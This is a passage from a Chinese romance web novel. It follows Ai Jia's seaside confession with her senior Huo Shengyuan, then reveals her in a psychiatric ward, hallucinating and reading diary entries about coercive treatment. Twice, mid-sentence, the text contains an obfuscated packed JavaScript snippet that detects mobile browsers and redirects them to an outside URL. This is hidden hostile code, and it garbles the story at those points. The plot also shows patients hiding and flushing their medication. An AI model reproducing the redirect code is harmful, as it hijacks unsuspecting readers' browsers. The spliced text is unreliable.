这张照片上的霍盛源勾着唇角,眼睛微弯,像初见时那样,温柔得不像话。 艾嘉望着窗外远处的海,海水在夜色下泛着银光,一波波拍向海岸。 她想啊,如果这次告白不成功,不成功就来第二次吧。 告白这种事,要跟学习一样,一次考不好,总结复盘后来第二次,两次考不好,再来第三次,要秉持从哪里跌倒就从哪里爬起的精神。 艾嘉的生物钟还在尽心尽责地工作,第二天天边刚刚泛起一抹青色,她便起床了,站在窗前,眺望远处的海。 隔得那么远,艾嘉看到海边站着一抹颀长的身影,白色上衣、黑裤子,背影看起来那么眼熟。 是霍盛源吧。 艾嘉看到温姗还在睡觉,轻手轻脚地换上昨晚已经准备好的浅粉色连衣裙,长度到膝盖,穿了一双粉色坡跟凉鞋,头上戴了个粉色蝴蝶结发箍。 她在镜子前看了看自己,一身粉的她,像迪士尼出逃公主。 刚想出门,忽然想到什么,艾嘉从随身斜跨的包里拿出一支唇釉,对着镜子,涂了薄薄一层粉色唇釉,质地轻薄,粉粉嫩嫩,宛若她之前给霍盛源做的粉色樱桃果冻。 艾嘉来到了海边,没有立刻跑上去,而是远远地望着那个伫立在海边的少年的背影。 不用细看,她都知道,那就是她喜欢的少年。 十多米的距离,遥遥望着,她喜欢的少年,个高肤白,光那样静静站着,都似繁星般耀眼。 艾嘉迈着小步,朝霍盛源的方向走了二十五步,正好就在他后面。 但他没有回头,难道是看海景看得太入迷,有人来了都没发现? 艾嘉故意大声地“欸”了一声,看到身前的少年身体抖了一下。 她成功吓到他 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如今,喜欢的人就在身侧,他们一起看了一场盛大的日出。 日光是无数只浪漫蝴蝶,纷纷纵身入海,撒下无数金粉。 海面起伏时,那金粉就闪啊摇啊,闪得她眼睛有点发花,她一度觉得,这好像一场不为人知的错觉。 “日出好美!”艾嘉由衷地发表感慨。 “学妹,你今天很美。”霍盛源望着艾嘉,眸子温柔,“美过日出。” 艾嘉的脸红了,仿佛抹了胭脂。 她望着霍盛源的那双温柔的眼睛,心狂跳不已:“谢谢学长。” 她好想顺带说下“我喜欢你,学长”,但不知为什么,这话硬生生地堵在嗓子眼,她没能说出口。 他们看完日出,没去酒店吃早饭,而是去了海边的一个露天西餐厅。 艾嘉点了一份奶油培根意大利面,霍盛源点了一份意大利肉酱面。 艾嘉把盘里的培根都给了霍盛源,说自己不喜欢吃培根。 怎么会不喜欢呢,炸得刚刚好的培根,肉质香嫩,入口很好吃吧。 摆放在外面的音响正放着歌: 格林家的公主安徒生的女王 牵手的孩子喝着幻想 眨睫毛撇嘴角带坏笑的不老 懒懒的秒针挂着糖浆 你发的娃娃脸降落在身边 可惜我还没有发现 你画的娃娃脸拿铁上圈点 倒一杯爱情的香甜【注2】 …… 轻快优美的旋律在充满海腥味的空气里响起。 艾嘉之前没听过这首歌,初听觉得旋律还真是好听,正沉浸其中,忽然听到霍盛源说:“学妹,你也是娃娃脸,这种脸型可爱。” 艾嘉卷起意大利面的手一顿,心随之漏跳一拍。 她抬头,望着对面的霍盛源说:“谢谢学长。” 他正对她笑着,笑得那么明媚,如暖风过境。 清晨柔和的日光洒了少年满脸、满身,他沐浴其中,像火焰,在她心中燎原。 5. 牵手 这趟旅行,五天四晚,自由行,前四天他们几乎玩遍了夕照市的各个景点,每晚回去都很晚,也都很累,艾嘉根本没机会跟霍盛源表白。 艾嘉发现霍盛源跟别人在一起时,常常被其他女生缠着,尤其是温姗,而她只能跟她的竹马迟予辰凑一起看风景。 她有些沮丧,喜怒全堆在脸上,竹马最了解她的心意。 在回酒店的公交车上,坐在她身旁的迟予辰推了推她的胳膊:“小嘉同学,出来玩,开心第一。你摆着个核桃脸,以为我会敲开看看里面有没有核桃吗。” 艾嘉故意把脸皱成一团:“敢不敢跟核桃脸一决高下。” “敢不敢在霍帅哥面前展露你的变脸术。”迟予辰作势要去喊霍盛源。 艾嘉连忙捂住他的嘴,小声说:“好了好了,我认输。” “你累了吧,睡会儿。”迟予辰拍了拍左肩,“来,迟哥把肩膀借你,当你的靠枕。” “谁稀罕。”艾嘉不屑道。 “随你,到时别当不倒翁。”迟予辰懒得再说,闭目养神。 艾嘉被迟予辰说中了,没一会儿,她当起了不倒翁,脑袋东倒西歪,最后还是倒在了迟予辰的左肩。 下了公交车,迟予辰走得慢,艾嘉把他拽起往前快走:“怎么当起了蜗牛?” “蜗牛走不动了,来个八抬大轿抬爷走!”迟予辰豪气万丈道。 “谁理你!”艾嘉甩开他的手,急忙去追被女生围住搭话的霍盛源。 “小嘉同学,等等我!”迟予辰追上去,一把拽住艾嘉的胳膊,“迟哥有话对你说。” “你说。” 迟予辰挠了挠后脑勺,一副很为难的样子。 “迟予辰,你什么时候变得这么磨叽磨叽了,有话快说,没话我可要走了。”艾嘉有些不耐烦。 “好吧。”迟予辰拽住她,让她停了下来,“看在你是我青梅的份上,迟哥告诉你,霍帅哥,你还是别追了。” “怎么,难追?” “难追是一方面,你也看到你身边的那些莺莺燕燕了。”迟予辰说,“另一方面,他考上了Q大,还有一年,你就要高考了,先不说考去哪儿,你能保证他大一不会谈恋爱?你也知道,霍帅哥去哪儿都会是焦点,总会有追光灯打在他身上,看到他的人,也都会像飞蛾一样扑上去。” “那我就做那只义无反顾扑上去的飞蛾。” “会被烧死的。” “都没扑上去,怎么会知道会被烧死,也许它会找到可以栖息的那盏灯。” “傻瓜。”迟予辰轻拍了下艾嘉的脑袋,“飞蛾根本不喜欢灯光,趋光不是它的本能,它在光周围打转,不是因为喜欢光,而是迷路了。” 迟予辰的话,艾嘉没想过,她不想去想,也不敢去想。 暗恋的花园里,她纵情在莎士比亚的国度,赌自己不能输。 罗密欧和朱丽叶最终双宿双飞,在天堂的尽头。 这是他们在这里的最后一晚,艾嘉翻着“攻略男神计划”的笔记本,看着第五条,心生勇气。 艾嘉主动给霍盛源发了邀请他去海边的信息:【学长,晚上有空吗?我们去海边走走?】 霍盛源:【好啊,学妹。】 艾嘉快速洗澡,换了一身从未穿过的紫色娃娃领连衣纱裙,特意配了紫色发箍。 温姗问她去哪儿,她谎称出去走走。 大概温姗累了,也就没说什么。 其实,这四天跟温姗相处下来,艾嘉觉得这位学姐性格开朗,会照顾人,属于心善人美那一挂。 要真把她俩放在“霍盛源备选女友”的擂台上比个高低,她还不一定是温姗的对手。 …… 艾嘉到达海边时,岸边的一排餐厅正热闹营业,露天座椅上坐满了成双成对的情侣,每张桌上都摆了一盏昏黄的古朴风格的灯,颇有烛光晚餐的味道。 昨晚,他们一行人已经在这儿体验了一回烛光晚餐。 那时,艾嘉想啊,如果只有她跟霍盛源就好了,只属于她和他的烛光晚餐。 艾嘉往海边走去,看到沙滩上仍有不少散步的人。 她脱掉凉鞋,提在手上,踏沙而行,往那个在人群中她一眼就能看到的少年走去。 踩在沙子上的声音小,小过海浪的声音。 从她脱下凉鞋,到霍盛源回头看她,艾嘉数了数,一共走了50步,她还想往前走,听到霍盛源跟她说:“学妹,你站着,等我过去找你。” 艾嘉站在原地没动,她不太明白,为什么他要主动走过来。 她看着霍盛源一步一步朝自己走过来时,想着,是不是他考虑她玩一天玩累了,所以才主动走向自己。 他一向善解人意。 夜色中的霍盛源,被温柔的月色笼罩着。 他的身前是沉静美丽的沙滩,身后是波光粼粼的海面。 他朝她走过来时,每一步不像走在沙滩上,而像走在了艾嘉的心上。 艾嘉的那颗心,不停打着小鼓,突突乱跳。 霍盛源离她越来越近,她越发清晰地看到他那双在夜色里流淌着温柔的眼睛,嘴角微微扬着。 艾嘉看着他,好像在看一场满是欢喜的盛景。 她好想跑到他面前,但她一步都没往前走,她听话地站着等他。 等霍盛源等了不过一分钟,却在这一分钟里,恍若过了几生几世。 终于,霍盛源抵达她身前,差一步的距离,他停下,笑着跟艾嘉说:“学妹,走到这儿,我花了四十九步。” 行,剩下的一步,就让她来走吧。 艾嘉朝霍盛源身前跨了一步,弯起眉眼:“我花了五十一步。” “走吧。”霍盛源指了指她身上的帆布包,“我帮你背。” “不用。” “没事。” 艾嘉见他坚持,也就不再跟他客气,把帆布包给他。 霍盛源又指了指她手中提着的凉鞋:“这个,我来拿吧。” 她不是没见过霍盛源帮温姗背包,但帮人提鞋,她是没见过,那她就做第一个吧。 艾嘉看着帮自己背包提鞋的霍盛源,有种他是我男朋友的错觉。 “学长,怎么过来找我了?” “沙滩上有贝壳、小石头,你又没穿凉鞋,我给你带路,走你前面,避免你的脚被划破。” 艾嘉觉得霍盛源好细心,自己果然没有喜欢错人。 她问:“学长,你对谁都这么贴心吗?” “也不是,要看谁了。”霍盛源看着穿了一身紫色纱裙的艾嘉,娃娃脸配上紫色发箍,像个需要人保护的小孩儿,“你像个小孩儿,看到你,就想要保护你。” “学长,你只是把我当小孩儿吗?”艾嘉心里有些不是滋味。 “学妹,你希望我把你当什么?”霍 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“我也喜欢海,在海的面前,一切都会变得很渺小。”艾嘉说,“房子会变小,山会变小,人也变得很小,人变小了,好心情坏心情也都变小了。看海,像看一场波澜壮阔的自由。” “说得不错啊!”霍盛源侧头看她,配合地鼓掌,“这次玩得怎么样,累不累?” 艾嘉直视他的眼睛:“不累。” 有霍盛源在,怎么会累。 “这次好好放松一下。”霍盛源说,“等回去了,还有一年,好好学习。” “我会的。”艾嘉不由得想起迟予辰跟她说的那些话,心有些泛酸。 她不在他身边的一年,他的身边是不是会有其他的女生?甚至,他会谈恋爱? 满溢的危机情绪促使她问了出来:“学长,你上大学了,会不会谈恋爱?” “不会。” “为什么?” “因为……”霍盛源刚想回,听到不远处发来一阵动静,扭头看去。 艾嘉也看过去,看到一对离他们几米的地方,站着一对情侣,正上演着亲密吻戏,吻得太忘情,边吻边朝他们这边走来。 直到女生看到他们这边有人,才松开男生,拉开男生讪讪离开。 这一幕让空气突然变得尴尬,两人从自在变得有些不自在。 艾嘉没再追问霍盛源为什么大学不谈恋爱的事,不谈恋爱岂不是正合她意。 “学长,我特意查了下,据说这几天九点之后会出现蓝眼泪。”艾嘉看着海岸线。 “你想跟我一起看蓝眼泪?” “是啊!” “怎么不跟迟予辰一起来?” “他啊,跟他的床相亲相爱呢。”谁知道迟予辰在做什么,她不关心。 两人等着蓝眼泪,目光一直望着海边,一波一波涌上来的潮水,从碎银子变成泛着蓝光的星海,荧光闪烁,仿若迈入童话世界。 艾嘉忍不住站起来,欣喜若狂地跟霍盛源说:“学长,我们去看蓝眼泪吧。” 艾嘉腿不够长,跑得没霍盛源快,这个善解人意的学长拉起了她的手,朝海边跑去。 他们在沙滩上奔跑,谁都顾不上沙滩上是否有贝壳、小石头,他们眼前流淌着一整条闪着蓝光的海洋。 山远海阔,他们牵着手,奔向海岸线,如鲸入海。 6. 告白 心动是什么? 是小小的星球,长夜将尽,朽木逢春。 艾嘉来到这颗小小的星球,星球里开了一树一树的樱花,只有两个人,她跟霍盛源。 他们踏着星河而行,追逐一场永恒的绚丽。 “哇,好美!”艾嘉站在蓝眼泪前面,惊叹道。 这真是她见过的最美的奇景,海萤藏在海水里,泛着深蓝色的闪烁光芒,像一滴滴蓝眼泪。 “我等这一刻等了好久。”霍盛源也惊叹道。 艾嘉的余光落到两人牵着的手上,这是她第一次被他牵着,他的手很暖,就跟他的人一样。 她的心跳加速,比方才奔跑时还快。 “我等这一刻也等了好久。” 等着跟自己喜欢的人一起看海,一起看蓝眼泪。 越来越多的人涌向海边看蓝眼泪,无不被这宇宙奇观惊到。 在人群里,艾嘉看到了迟予辰、温姗他们,出于私心,她跟霍盛源说:“学长,我们往那儿走吧,那儿人少些。” 他们走到了一处人相对比较少的地方,继续看蓝眼泪,看深蓝色的光随着海浪的起伏而流动。 艾嘉提出互相给对方拍照,霍盛源欣然同意,夜色中拍出来的效果并不理想,但可作纪念。 给彼此拍完,艾嘉提议:“学长,我们来拍自拍合照吧。” “好啊。”霍盛源配合地走到艾嘉身后。 艾嘉高高地举起手机,但霍盛源个子高,她想按自拍键有难度。 “我来拿吧。”霍盛源从她手里拿过手机。 艾嘉本来礼貌地跟霍盛源拉开了一点距离,但镜头里的她拍不全。 霍盛源跟她说:“学妹,你往我这边来一点。” 艾嘉这么一靠近,脑袋贴近他的肩膀,甚是亲密。 合照拍了一张又一张,不同动作,不同表情。 艾嘉想的是,她和他在一起的美好回忆,多多益善。 拍完合照,艾嘉满意地看着照片里的他们,彼此都开心地笑着,距离很近,俨然小情侣。 她的心渐渐被甜蜜填满了。 趁月光皎洁、海风温柔、蓝眼泪浪漫,她想跟喜欢的人,派送她深藏的小宇宙。 艾嘉走近霍盛源,温柔地轻声唤他:“学长。” “怎么了,学妹?”看蓝眼泪的霍盛源侧身,低头看她。 “学长,我……喜……” 尚未说完的两个字被人打断,艾嘉不用去看,都知道是谁。 艾嘉朝着声音的方向看去,看到穿着一袭白色连衣裙的温姗朝他们招手。 她以为温姗会走过来找他们,不知道迟予辰跟她说了什么,她只是跟他们打了个招呼,接着,往另一个方向走去了。 “跟我来。”霍盛源见他们走远了,牵起艾嘉的手往另一处跑去。 他们经过一对又一对看蓝眼泪的情侣,直到沙滩上无人。 艾嘉没问他要把自己带去哪里,出于对他的信任,不管他带她去哪里,她都愿意。 他们在一处高耸的岩石后停住,这儿杳无人烟、寂静无声,唯独听到海浪拍岸的声音,还有他们跑后彼此的喘息声。 这喘息声,在只有他俩的空气里显得格外暧昧。 艾嘉深呼吸几口,才终于止住喘息,看向面前的霍盛源:“学长,你把我拉这里做什么?” “学妹。”霍盛源看着她的眼睛,“你刚才是不是想跟我表白?” 艾嘉犹豫了下,点了点头。 这之后迎来长久的沉默。 艾嘉忽然慌了,这是拒绝她的前奏? 霍盛源的神色跟往常一样,她根本无法从他的脸上看出一点端倪。 他说过大学不会谈恋爱,现在应该也不会谈恋爱吧。 酸涩如涨潮的海水般开始往艾嘉的心房里灌,越来越满,让她越来越难受。 “学妹,生日快乐!”霍盛源从口袋里拿出一个小盒子,递到艾嘉面前。 艾嘉愣了,今天几号,她的生日? 对了,7月20日,正是她的生日。 她怎么忘了呢。 为什么父母不给她发祝福,竹马也不给她发祝福,就连她都把生日抛在脑后了。 偏偏这个日子,被霍盛源记住了,还特意为她准备了礼物。 艾嘉心里的酸涩被无以名状的激动取代,她接过盒子,犹豫着要不要打开时,听到霍盛源说:“打开看看。” 艾嘉边缓慢地打开橙色盒子边想,霍盛源给她准备的是什么礼物。 看到礼物时,艾嘉惊到了。 “不喜欢?”霍盛源问。 “没有。”艾嘉的惊讶转为惊喜,眼里都是笑,“好喜欢。” 盒子里的是一条橙子项链,金色链子,吊坠是一颗栩栩如生的橙子,上面点缀两片大小不一的绿色叶片。 艾嘉拿出项链,放在手心里,在月色下,项链折射出耀眼的光。 “特意给你挑选的甜橙系列。”霍盛源说。 艾嘉喜欢一切有关橙子的东西,橙子、橙汁、橙子味果冻等。 霍盛源选的生日礼物,直击她的心。 “来,我帮你戴上。”霍盛源绕到她身后,帮她戴项链。 戴项链时,霍盛源温热的指腹擦过艾嘉的肌肤。 擦过的地方,她感到仿佛有无数电流窜过。 他的呼吸,喷洒在她的颈间,灼热的,似火般烫着她的每寸肌肤。 艾嘉的心跳加速,脸颊发烫。 心底的那片暗恋荒原被点燃,火势越发旺盛。 戴完项链,艾嘉转过身去看霍盛源:“谢谢学长。” 难道学长这是要演一处“先给个甜枣再泼盆凉水”的戏码吗? 艾嘉摸着颈间的甜橙项链,极为不安,望着霍盛源的眼睛也扑闪得厉害,想要把他看透,但她看不透。 “学长,你是不是打算拒绝我?”艾嘉直言道。 “学妹,你对我的心思,我一直都明白。”霍盛源望着她那双可爱的眼睛,“学长没谈过恋爱,没有一点恋爱经验。学妹,你愿意跟学长一起积累恋爱经验吗?” 艾嘉不敢相信自己的耳朵,霍盛源这是在跟她说吗? 艾嘉瞪大双眼,望着霍盛源:“学长,我没听错吧。” 霍盛源眸光含情:“学妹,你没听错。” “我们每天早晨六点二十五都会在樱花街偶遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978291|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是你早起绕远路; “我们每晚都会在车棚相遇,不管晴天雨天,是你特意在等我; “每次给你补习,你总会给我带一杯抹茶味的奶茶,奶茶钱都是从你为数不多的生活费里节约出来的; “你发的那条评论,我来到莎士比亚的王国,喜欢做尽情绽放的花朵,欢迎你来到浪漫的国度,你要不要摘下青涩秘果,被你秒删,但被我看到了,是藏头诗,对不对; “你发的那条朋友圈,凌晨四点钟,我看见海棠花未眠。下半句,我知道,是……总觉得这时,你应该在我身边; “你给我拍的毕业照很帅,是你提前学习了拍照技术; “这次你来海边旅行,不只是因为你想看海,还想跟我一起看海,对吗? “学妹,你做的这些,我都知道。 “学妹,我在等你说那句‘我喜欢你’,又不希望你说出口。这话,怎么能让你说,要说也是我来说。 “学妹,谢谢你为我做的这一切。 “学妹,我喜欢你,一直喜欢你,比你对我的喜欢还要多。” “学长!”霍盛源说的这些让艾嘉分外动情,她情不自禁地用力扑到他怀里,“我也喜欢你!很喜欢!” 霍盛源把她拥在怀里,俯身看她,穿着一袭紫色长裙的她,像极了紫衣仙子,他看得有些痴,搂住她纤细的腰,俯身吻住她那泛着微光的红润嘴唇。 她的唇软得像一枚Q弹的果冻,他探进她的唇齿间,将所有的喜欢,都化为疯狂,进行着一轮又一轮的掠夺。 艾嘉从来没想过,那个看起来温文儒雅的学长,会吻她吻得如此疯狂,几乎让她无法呼吸。 他在她的领地肆意占有,她一次次迎合,一次次被他碰到牙齿、yao/到she/头。 夜空中满是暧昧旖旎的味道,艾嘉听到霍盛源低喃:“学妹,你美得像紫衣仙子,你的she/头好/ruan,好好亲。” 他的声音本就温柔,此刻听来带着丝丝喘息声,蛊惑着她的心,挠得她的心尖儿发痒。 霍盛源离开艾嘉的唇,她终于得以呼吸,但很快,她敏感的耳后、脖颈都成了他掠夺的领地。 她听到飞鸟振翅飞过的声音、听到海浪席卷而来的声音,也听到连衣裙掉落在沙滩上的声音。 他们在蓝色海岸演绎落不下的缱绻和柔情。 涨潮了,海水连同海萤一波波卷上来,漫过她的脚踝,一路往上。 她被浅浅的一层蓝眼泪覆盖着,梦幻得像一场幻觉。 她听到霍盛源用极尽温柔的声音说: “紫衣仙子,你现在是我的蓝精灵了。” * “后来,你考上Q大了吗?” “考上了。” “跟你的学长还在一起?” “当然在一起了。”艾嘉眉眼间全是幸福的笑,“我很爱他,他也很爱我,我们天天在一起。” “艾嘉,这次就谈到这儿,你今天的表现不错,可以回去了。” “谢谢金医生。” 艾嘉从椅子上站起来,笑着跟金医生挥手告别。 她礼貌地带上门,看到门框旁边贴着的名牌——精神分裂科。 7. 少年像厉鬼 艾嘉走出金医生的办公室,往自己的病房走去。 经过很长的一段走廊,走廊里没有光,昏暗潮湿,每个角落都像没拧干,湿漉漉的,空气中满是消毒水的味道。 艾嘉像只雀跃的鸟儿,轻快地走在无人的走廊上。 走着走着,她开始边走边旋转着跳不知名的舞,嘴里唱着:“你发的娃娃脸,降落在身边,可惜我还没有发现。你画的娃娃脸,拿铁上圈点,倒一杯爱情的香甜……”【注】 她沉浸在美好的爱情里,眉角眼梢都藏着亮晶晶的小星星。 走到病房,推开门,里面摆了六张床,她的那张床靠窗,病房里只有一个女孩,站在窗前。 女孩一头利落短发,听到开门声,一转头,看到笑靥如花的艾嘉。 女孩的神情很冷,也很酷,双手环胸,单脚抬起撑在墙上,她特酷地一抬下巴:“艾嘉,又跟你的霍学长去看蓝眼泪了?” “是啊。”艾嘉的脸顿时红了。 她想到了霍盛源对她的疯狂亲吻,想到了他用极尽温柔的声音说:“紫衣仙子,你现在是我的蓝精灵了。” 艾嘉走到女孩身边说:“驰路,你谈过恋爱吗?” “恋爱?”驰路嗤笑道,“姐不稀罕。” “谈恋爱多好,像掉进了樱花林,可以在莎士比亚的浪漫花园里尽情漫步。”艾嘉笑着说。 她看向窗外,看不太清楚外面有什么,因为玻璃窗朝里的地方装了铁栏杆,外面加装了铁丝网,有些像鸟笼。 艾嘉双手扶在铁栏杆上,脸也贴上去,望着外面阴沉沉的天,还有院子里种的不知名花草,笑容散去,自言自语:“学长,你什么时候来看我?” “艾嘉,你别等他,他不会来。” “不,他会来!”艾嘉加重语气。 她的霍学长最爱她了,怎么可能不会来找她。 驰路用手晃着铁栏杆,铁栏杆纹丝不动,她又继续晃着、扯着,恨不得想把铁栏杆砸掉,浑身每个细胞里都透出“我很不爽”。 驰路愤愤地重重地拍了铁栏杆一下,不顾掌心留下一道红红的印子,不爽道:“你个王八蛋,要把我关到什么时候?” “好了,驰路,在这里不挺好的,有吃的有用的,什么都不用担心。”艾嘉去抚摸她手心上的那道红痕,“这里的医生也都很好。” 驰路摇了摇头,抬手朝她脑门上戳了下:“艾嘉,我看你病得不轻!” …… 在这里什么都不用担心的艾嘉,吃完晚饭去休息室看别人打牌,到点了听护士广播,排队领药,当着护士的面把药吃下去。 没有手机,实在无聊,艾嘉所在病房的病人有的在病房里走来走去,有的在睡觉,还有的去洗漱了。 靠墙的两侧各放了三张床,她的床对面是驰路的床。 艾嘉兴奋地跳到驰路的床上,从舌头下方吐出药,六粒,这招是驰路教她的。 驰路伸出手,手心里也躺着药片,四粒。 “再给我加药的话,我要藏不住了。”艾嘉不满道。 “没事,姐有方法。” “别老是姐啊姐的。”艾嘉说,“你今年不是十五岁吗,还比我小三岁。” “在这里,有人罩着你,就是姐。”驰路把她手心里的药拿了过来,“我去冲掉。” 每次不吃的药,都是驰路拿到卫生间冲掉,至今没人发现。 艾嘉走到窗前,看到窗户上的自己,觉得很陌生。 投映在窗户上的女生,面部消瘦,两颊凹陷,眼睛无神,头发参差不齐,有种凌乱的破碎感。 这是她吗?这还是她吗? 艾嘉惊讶地望着窗户上的女生。 她不是娃娃脸吗,不是眼睛水灵吗,不是韩式锁骨发吗,不是戴着紫色发箍吗。 艾嘉抬手不敢置信地摸着自己的脸,苹果肌没了,双颊凹陷下去,像山谷,头发毛糙。 心瞬间往下坠,瞳孔里露出紧张、怀疑、恐惧。 但她很快在窗户上看到了霍盛源,那个温柔帅气的学长,正对她笑,跟她说:“学妹,学长最爱你了,今晚我会去找你。” 艾嘉的心情瞬间又好了,手从铁栏杆探出去,探到窗户上,摸着霍盛源的脸,笑着说:“学长,我也最爱你了,我等你!” “哪来的学长,你把眼睛睁大点。”走进来的驰路无情地拆穿。 艾嘉被吓了一跳,窗户上的霍盛源不见了。 她不快地斜睨驰路:“都怪你,把学长吓走了。” “艾嘉,从明天开始,你不准藏药。”驰路坐到床上,身体后仰,双手撑着床垫,压低声音,目光凌厉,“你要是敢藏药,姐就去揭发你!” “驰路,你要是揭发我,我也去揭发你!”艾嘉振振有词道,丝毫不畏惧她的威胁。 艾嘉又看向窗外,不知道自己来这里多久了,她并不觉得自己有病。 每天休息时,艾嘉都会站在窗口,眺望窗外,盼望着爸爸可以把她接回家。 不过,在她印象中,好像爸爸一次都没来过。 十点准时熄灯,病房黑了,艾嘉躺在床上,睁着眼睛,抬头看着天花板,天花板上有一块小光斑,是外面路灯照进来的一束光。 她每晚都会望着这点光发呆,发很久的呆。 今天也不例外,艾嘉仍盯着那片小光影,一动不动地发呆。 这次,她看到了小光斑上出现了一个人影,从模糊虚影到渐渐清晰,是她的霍学长。 面无表情的艾嘉不自觉地笑了。 很快,光影里又出现一个人,是个女孩,也从模糊到清晰。 艾嘉看清楚了,这个女孩是她。 她看到霍学长走近光影里的她,近得两人相贴。 他摸她的脸,她推开他的手; 他吻她的唇,她推开他的身体; 他tuo她的衣服,她再次推开。 她抵触着这些霍学长要跟她做的亲密举动。 为什么会这样? 她不是最爱霍学长的吗? 光影里的她做什么都无法止住学长,他疯了一样,zhan/有她,比在蓝海湾那次要疯狂得多。 明明只是在光影里,为什么她感到身体一阵阵发疼,手脚也开始发抖。 艾嘉的另一重人格觉醒,跟脑中尚且残存的人格说:“你这个假艾嘉,给我滚!” 另一个声音猛地偃旗息鼓。 艾嘉感觉手脚都在冒冷汗,她睁着眼睛,无力地望着霍盛源对她做的事。 发生什么了? 到底发生什么了? 她脑中浮现出霍盛源的脸,是狰狞的、可怖的,是青面獠牙的厉鬼。 他对自己做了什么? 难道真的做了光影里的那些事吗? 还是刚才的画面,只是她的幻觉? 她不确定,但为什么她的身体那么不舒服。 对了,艾嘉想起来了,她每周都要做两次电休克治疗,每次治疗后都会短暂性失去记忆,这让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978292|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她养成了记日记的习惯。 她连忙坐起来,打开床头柜的抽屉,看到里面有一本蓝色封皮的本子。 艾嘉拿着本子来到窗前,幸好今晚月光很亮,直直地透过牢笼般的窗户洒进来。 本子上交错着铁栏杆、铁丝网,像一只只恶魔的爪子。 艾嘉汗湿的手颤抖着,她翻开封皮,在扉页上看到写着两行字: 小嘉同学,活着,就像吃橙子,有时会吃到甜的,有时也会吃到酸的。 人生漫长,生活美好,你要保持热爱! 翻开,是一篇篇日记。 2015年10月18日暴雨 那天下了一场暴雨,比我见过的任何一次都要大。 爸爸把我带到了一个陌生的地方。 他说这里很好,环境好,人也好。 我听他的话,进来了。 可为什么这里面的人,都穿着病号服? 我的手机、手链都被没收了。 他们给我准备了病号服,让我穿上。 我才不想穿,但他们非要我穿。 这里的人,没有爸爸口中说得那么好。 甚至,我觉得他们挺坏的,看我的时候,像在看神经病。 2015年10月22日阴天 听室友说,这里是建在郊区的“善安”精神病院。 在精神治疗方面,水平一流。 我问室友,为什么要取名“善安”。 室友跟我普及,他们秉持对病人友善、保护病人的安全准则。 呵,鬼的对病人友善,他们的眼神像要吃了我。 再说,我才不是什么精神病。 我嚷着要出去,他们把我强制性关到了一个小黑屋。 好黑,我体会到了什么叫暗无天日。 他们把我关了三天三夜。 只给水,没有饭。 这就是他们保护病人的方式? 2015年10月24日阴天 他们让我吃药,我不吃。 他们捏着我嘴巴,硬塞了进去。 他们把我绑在床上,我哪儿都去不了。 他们用不知道什么玩意儿电击我,那滋味真让人不爽。 他们简直是暴君! 2015年10月30日阵雨 我对待这些暴君,唯一的方式就是亏待自己。 我什么也不吃,连水也不喝。 他们又把我关进了小黑屋,这次连水都没有了。 我差点以为我要死了。 这次被关了多久我都不知道。 只知道出来的时候,我是被抬出来的。 2015年11月6日多云 我开始渐渐适应这个鬼地方。 不是我想适应,是没办法。 其他人都活得好好的。 我有什么理由不好好活着。 活下去,才有出去的可能,不是吗? 2015年11月10日阴天 爸爸什么时候来接我回去? 2015年11月20日阴天 迟予辰,你个浑蛋,什么时候来见我? 2015年11月26日阴天 小嘉同学,你要记住,霍盛源不是什么好人。 这世界上最大的好人,是迟予辰! 2015年12月2日暴雨 樱花树很美,少年曾经也很美。 但后来,少年变成了厉鬼,他来索你的命了! 8. 我不喜欢你了 艾嘉手心里的冷汗越来越多,手止不住地颤抖着。 她望着窗外,窗户是牢笼,牢笼外是浓得化不开的夜色。 暗夜里那些静止的植物,一一化成了厉鬼,厉鬼从扭曲形态,一直往上飘摇,摇啊摇,摇成了霍盛源的样子。 一把大锤重重地锤向艾嘉的心脏,一下又一下地锤,哐当哐当地响。 她的心脏,快要被砸碎了、砸烂了。 一开始不是这样啊,从什么时候开始,霍盛源变成了厉鬼? 艾嘉的思绪飘向过去,那个她还没关进精神病院的过去。 * 彼时,艾嘉跟其他高中生一样,上课听讲、下课刷题,每天按部就班地生活着,好像可以这样一直下去。 直到高二,三月份,那是樱花盛开的季节,艾嘉去看樱花,看到了樱花树下温柔帅气的男生。 男生正在看书,拍掉肩头落樱时,抬眸看她,嘴角漾笑,那真是她见过的最好看的少年。 真正是,行至春光乍现处,繁花尽头是少年。 他在百花丛中,似洒落了全世界的温柔,从此,住进了十七岁艾嘉的心里。 艾嘉对这个一见钟情的少年,做了她以往从不做的事,每天早起半小时绕远路,只为在樱花街见到喜欢的少年。 从竹马迟予辰那儿要到了霍盛源所有的个人信息,本来想直接加他的wei/信,但想想还是自己主动要了。 她成绩中游,本来没什么,但知道霍盛源很优秀、成绩好,便以“学长可不可以帮我补习”为由,接近他,成绩有所提升,对他的喜欢也越来越深。 深到她想去跟他表白,为此,她问好朋友千雪:“阿雪,我喜欢上了一个男生,你说,我要不要跟他告白?” 千雪说:“欸,你才多大啊,小嘉同学,现在我们要以学业为重,不可以告白!” 别人的话,仅供参考,这在艾嘉身上发挥到了极致。 艾嘉想趁着圣诞节给霍盛源送一份圣诞礼物,然后,把她八个月的暗恋心事,藏在圣诞礼物里。 那天,她特意去专卖保温杯的商店里买了一个圣诞款的保温杯。 她攒了三个月的生活费,200元,买保温杯花了199元。 不心疼是假的,但想到以后,说不定他会用她送的保温杯,她就觉得值了。 艾嘉跟往常一样,想等晚自习后,去霍盛源的教室找他补习。 